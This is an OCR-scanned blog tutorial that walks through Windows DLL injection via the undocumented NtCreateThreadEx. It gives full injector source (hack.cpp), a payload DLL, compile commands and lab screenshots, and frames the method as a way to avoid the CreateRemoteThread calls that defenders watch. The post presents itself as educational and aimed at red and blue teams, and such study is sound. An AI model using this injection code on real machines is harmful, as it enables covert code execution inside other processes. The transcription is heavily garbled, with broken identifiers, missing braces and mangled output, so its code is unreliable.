DLL injection via undocumented NtCreateThreadEx.
Simple C++ example.
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In the previous posts | wrote about classic DLL injection via CreateRemoteThread, via
SetWindowsHoOKEX.

Today I'll consider another DLL injection technique. Its meaning is that we are using an
undocumented function NtCreateThreadEx. So let's go to show how to inject malicious DLL
into the remote process by leveraging a Win32API functions vVirtualAllocEx,
WriteProcessMemory, WaitForSingleObject and an officially undocumented Native API
NtCreateThreadEx.

First of all, let’s take a look at example C++ source code of our malicious DLL (evil.c):
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https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html
https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
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/*

DLL example for DLL injection via NtCreateThreadEx

author: @cocomelonc
https://cocomelonc.github.io/pentest/2021/12/06/malware-injection-9.html
*/

#include <windows.h>
#pragma comment (lib, "user32.1lib")

BOOL APIENTRY D1lMain(HMODULE hModule, DWORD wul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call) ({
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=A, A=,
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;

As usually, it's pretty simple. Just pop-up “Meow-meow!”.

Let’s go to compile our DLL:

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

{vulnexipy) zhas@
$x86_64-wb4-mingw32-gcc -shared -o ewil.dll evil.c
(vulnexipy) zhas@

zhas zhas
zhas zhas
zhas zhas
zhas zhas
zhas zhas
zhas zhas
X zhas zhas 162816
(vulnexipy) zhasa

51

Then, let’s take a look to the source code of our malware (hack.cpp):
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/*

hack.cpp

DLL injection via undocumented NtCreateThreadEx example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html
*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>

#include <tlhelp32.h>

#include <vector>

#pragma comment(lib, "advapi32.1lib")

typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer

)

// get process PID
int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First
pe.dwSize = sizeof (PROCESSENTRY32);

// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes

// and exit if unsuccessful

while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
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pid = pe.th32ProcessID;
break;

}
hResult = Process32Next(hSnapshot, &pe);

}

// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;

int main(int argc, char* argv[]) {
DWORD pid = ©; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
SIZE T rl; // return length

char evilDl1l[] = "evil.dll";
int evilLen = sizeof(evilDll) + 1;

HMODULE hKernel32 = GetModuleHandle("Kernel32");

LPTHREAD_START_ROUTINE 1b = (LPTHREAD_START_ROUTINE) GetProcAddress(hKernel32,
"LoadLibraryA");

pNtCreateThreadEx ntCTEx =
(pNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntd11l.d11"), "NtCreateThreadEx");

if (ntCTEx == NULL) {
CloseHandle(ph);
printf("NtCreateThreadEx failed :( exiting...\n");
return -2;

pid = findMyProc(argv[1]);

if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;

} else {
printf("PID = %d\n", pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
if (ph == NULL) {

printf("OpenProcess failed :( exiting...\n");
return -2;

// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evillLen, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer
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WriteProcessMemory(ph, rb, evilDll, evillLen, rl); // NULL);

NtCTEx(&ht, OX1FFFFF, NULL, ph, (LPTHREAD_START_ROUTINE) 1b, rb, FALSE, NULL,
NULL, NULL, NULL);

if (ht == NULL) {

CloseHandle(ph);
printf("ThreadHandle failed :( exiting...\n");
return -2;
} else {
printf("successfully inject via NtCreateThreadEx :)\n");

}

WaitForSingleObject(ht, INFINITE);

CloseHandle(ht);
CloseHandle(ph);
}

return 0,

}

Let’s go to investigate this code logic. As you can see, firstly, | used a function FindMyProc
from one of my past posts. It's pretty simple, basically, what it does, it takes the name of the
process we want to inject to and try to find it in a memory of the operating system, and if it
exists, it's running, this function return a process ID of that process.

Then, in main function our logic is same as in my classic DLL injection post. The only
difference is we use NtCreateThreadEx function instead CreateRemoteThread:
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https://cocomelonc.github.io/pentest/2021/09/29/findmyprocess.html
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
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printf("PID not found :(
=1z

prtntfﬂ'PZD = %d\n", pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

ph, MULL, evilLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE):

WriteProcessMemory(ph, rb, evilDll, evilLen, rl};
ntCTEx{&ht, Ox , NULL, ph, (LPTHREAD_START_ROUTIME) lb, rb, FALSE, NULL, NULL, NULL, NULL)
(ht == NU

Hand

} {
printf("successfully injec
}

WaitForSingleObject(ht, INFINITE);

As shown in this code, the Windows API call can be replaced with Native API call functions.

For example, virtualAllocEx can be replace with NtAllocatevirtualMemory,
WriteProcessMemory can be replaces with NtWriteProcessMemory.

The downside to this method is that the function is undocumented so it may change in the
future.

But there is a caveat. Let’s go to create simple code for our “victim” process (mouse.c):

/*

hack.cpp

victim process source code for DLL injection via NtCreateThreadEx

author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html
*/

#include <windows.h>

#pragma comment (lib, "user32.1ib")

int main() {
MessageBox(NULL, "Squeak-squeak!", "<:( )~~", MB_OK);
return 0;

}
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As you can see, the logic is simplest, I's just pop-up Squeak-squeak! message. Let’s go to
compile:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -fpermissive

Settings Help

64-wb4-mingw32-gcc -02 mouse.c -0 mMouse.exe -mconsole
') zhasa

And check:

File Edit View Bookmarks Settings Help
e win10-x64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

int main() {
M

er\Documents\malwar

Network
Internet access

Unidentified network
Mo Internet access

So everything is worked perfectly.

Let’s go to inject our malicious DLL to this process. Compile hack.cpp:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-
all-constants -static-libstdc++ -static-libgcc -fpermissive
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File Edit View Settings  Help

2 hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ —ffunction-sections -fdata-sections -Wno-write-strings -fno-excepti
ons -fmerg ll-constants -stati ibstdc++ -static-libg —fpermissive
hack.cpp: In functien ‘int main(int, char**)
hack.cpp:102:50 id conversicn m ‘SIZE_T' {aka ‘long long unsigned int’} te 'SIZE_T#' {aka ‘long long unsigned int*'} [
102 | writeProcessMemory(ph, rb, evilDll, evilLen, ); f/ NULL);

In file included from /usr/share/mingw-w64/include/winbase.h:25,
m /usr/share/mingw-w64/include/windows.h:70,
m hack.cpp:10:
/usr/share/mingw-w64/include/memoryapi.h:86:128: initializing argument 5 of ‘WINBOOL WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*)'
86 | WINBASEAPI WINBOOL WINAPI WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE T nSize,
hack.cpp:104:62: invalid conversion from ‘LPTHREAD_START_ROUTINE' {aka 'long unsigned int (*)(wvoid*)'} to ‘PVOID’ {aka ‘wvoid*'} [
ntCTE. , Ox1FFFFF, NULL, ph, (LPTHREAD_START_ROUTINE) b, FALSE, NULL, NULL, NULL, NULL);
|
|

hack.cpp:104:77: converting to non-pointer type ‘SIZE_T' {aka 'long long unsigned int'} from NULL [
184 | ntCTEx(&ht, Ox1FFFFF, NULL, ph, (LPTHREAD_START_ROUTINE) 1b, rb, FALSE, , NULL, NULL, NULL);

hack.cpp:104:83: converting to nen-pointer type ‘SIZE_T' {aka 'long long unsigned int'} from NULL [
104 | , Ox1FFFFF, NULL, ph, (LPTHREAD_START_ROUTINE) lb, rb, FALSE, NULL, , NULL, NULL);

|
hack.cpp:104:89: converting to nen-pointer type ‘SIZE_T' {aka ‘long long unsigned int'} from NULL [
104 | ntCTE. ht, @x1FFFFF, NULL, ph, (LPTHREAD_START_ROUTINE) lb, rb, FALSE, NULL, NULL, , NULL);
|
{vulnexipy) | | zhas
$1s -1t

mouse.c

Then, run process hacker 2:
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@ win10-x64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

I %8 Process Hacker [WINDOWS-VIHNE33 User]

d Hacker View Tools Users Help
“%, Refresh ¢ Options | g8 Find handles or DLLs

Processes  Services Metwork  Disk

* |Search Processes (Ctrl+K)

0

Mame PID CPU  I/O total ...

[0=] csrss.exe 0.03
v 87 winlogon.exe
[85] fontdrehost.exe
[®=] dwm.exe
explorer.exe
i?' YBoxTray.exe 20 Bfs
& Onelrive.exe
%8 ProcessHacker.exe
v N powershell.exe
B conhost.exe
~ @8 cmd.exe

conhost.exe
MOUse, Exe

£

Private b...

1.63 MB
24 MB
1.5 MB
32.05 MB
43.99 MB
241 MB
24.% MB
9.72 MB
56.23 MB
3.32 MB
4.15 MB
581 MB
1.38 MB

Uzer name

WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...
WINDOWS-VIH...

CPU Usage: 7.75%  Physical memony: 1.14 GB (42.32%) Processes: 65

. 3 T ) 11

227 PM
2

T
TS

As you can see, the highlighted process is our victim mouse . exe.

Let’s run our simple malware:

.\hack.exe mouse.exe
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win10-x64 [Running] - Oracle VM VirtualBox

Machine View Input Devices Help

Meow-meow!

. 1231PM
AN B D e B

Vi S & W E T ¥ 6 B Right Ctrl

As you can see our malware is correctly found process ID of victim.

Let’s go to investigate properties of our victim process PID: 3884:

10/12



Input

fully inject v

Hacker View Tools Users Help
% Refresh {3 Options | @i Find h

Processes Network  Disk

Services

MName
~ [0 winlogon.exe
[#) fontdrvhost.exe
[#] dwm.exe
v explorer.exe
W VBoxTray.exe
# OneDrive.exe
18 ProcessHacker.exe
~ EX powershell.exe
BS conhost.exe
[E= hack.exe
~ BN cmd.exe
|BEH conhost.exe

[5] mouse.exe

CPU Usage: 11.23%  Physical memory:

| [ mouse.exe (3384) Properties
General Statistics Performance Threads Token Modules Memory Environment Handles GPU Comment
Hide free regions Strings... Refresh
Base address Type Size Protect Use Total WS )
0x33350000 Private 1,024kB RW 4kB
0x3a50000 Private 2,048kB RW Stack (thread 3308) 16 kB
0x3c50000 Private 2,043kB RW Stack (thread 4256) 4kB
0x63840000 Image 124kB  WCX C:\Users\User\Documents\malware\2021-12-06-malware-injection-9levil.dil | 44kB
Ox7Ffe0000 Private 4kB R USER_SHARED_DATA 4kB
Ox7ffef000 Private 4k R 4ke
Ox7ff4fdea0000 Mapped 1,024kB R 8ke
Ox7ff4fdfa0000 Private 4,194,422k RW
Ox7Ff5fdfc0000 Private 32,772kB RW akB
0x7ff5fffdooog Mapped 140kB R 24kB
0x7Ff9dc380000  Image 608kB WCX C:\Windows\System 32 \TextinputFramework. di 95 kB
0x7ff9e0020000 Image 1,332kB  WCX C:\Windows\System32\WinTypes.dl 100 kB
0x7ff9e0120000  Image 3,192kB  WOX C:\Windows\System32\CoreUIComponents.dil 148 kB
0x7ff9e 1200000 Image 872kB  WCX C:\Windows\System 32\CoreMessaging.dil 92kB
0x7Ff9e23f0000 Image 608KE WCX C:\Windows\System 32\ uxtheme., di 208 kB
0x7ff9e2680000 Image 164kB WCX C:\Windows\System 32\dwmapi.dll 63 kB
0x7ff9e3010000  Image 196 kB WOX C:\Windows\System32\nimarta.dl 64kB
0x7ff9e3f70000 Image 63kB WCX C:\Windows\System32'\kernel.appcore. dil 56 kB
0x7ff9e40b0000  Image 636kB WX C:\Windows\System32\msvep_win.dil 136 kB
0x7ff9e4150000 Image 2,508kB  WCK C:\Windows\System32\KernelBase. dil 504kB v
0x7ff9e4ae0000 < >

Settings

DLL_P

CESS_DETACH:
DLL_THREAD_ATTACH:
DLL_THREAD_DETACH:

Help

File  Machine

[ moy B

win10-x64 [Running] - Oracle VM VirtualBox

View Input Devices Help

rnouse.exe (3384) (69844000 - (x69347000)

General

[ Hid
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00000030 00 00 00 0o
00000040 00 bO 5 00 0o
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00000080 00 00 00 0o
00000070 00 00 0o
Qoooooso
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Qo0000co
000000do
00000020
000000£0
00000100
Qopoolio 77
Qoooolzo
Q0000130
Q0000140 &
Q0000150
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QooooL7o
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Re-read

As you can see, our malicious DLL successfully injected as expected!

Meow-meow

Address %p has n
o image-section.
VirtualQuery £
giled for %d byt
e3 at address ip
Virtua
1Protect failed
with code Ox$x..
Unknown pseudo
relocation prot
ocol version %d.
Unknow
n pseudo relocat
ion bit size %d. ~

Save...

But why we are not injecting to the another process like notepad.exe or svchost.exe?

| read about Session Separation and | think it is reason of my problem so | have one

question: How | can hacking Windows 10 :)

The reason why it's good to have this technique in your arsenal is because we are not using
CreateRemoteThread which is more popular and suspicious and which is more closely
investigated by the blue teamers.
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https://techcommunity.microsoft.com/t5/ask-the-performance-team/application-compatibility-session-0-isolation/ba-p/372361

| hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.

Session Separation
source code in Github

This is a practical case for educational purposes only.

Thanks for your time and good bye!
PS. All drawings and screenshots are mine

12/12
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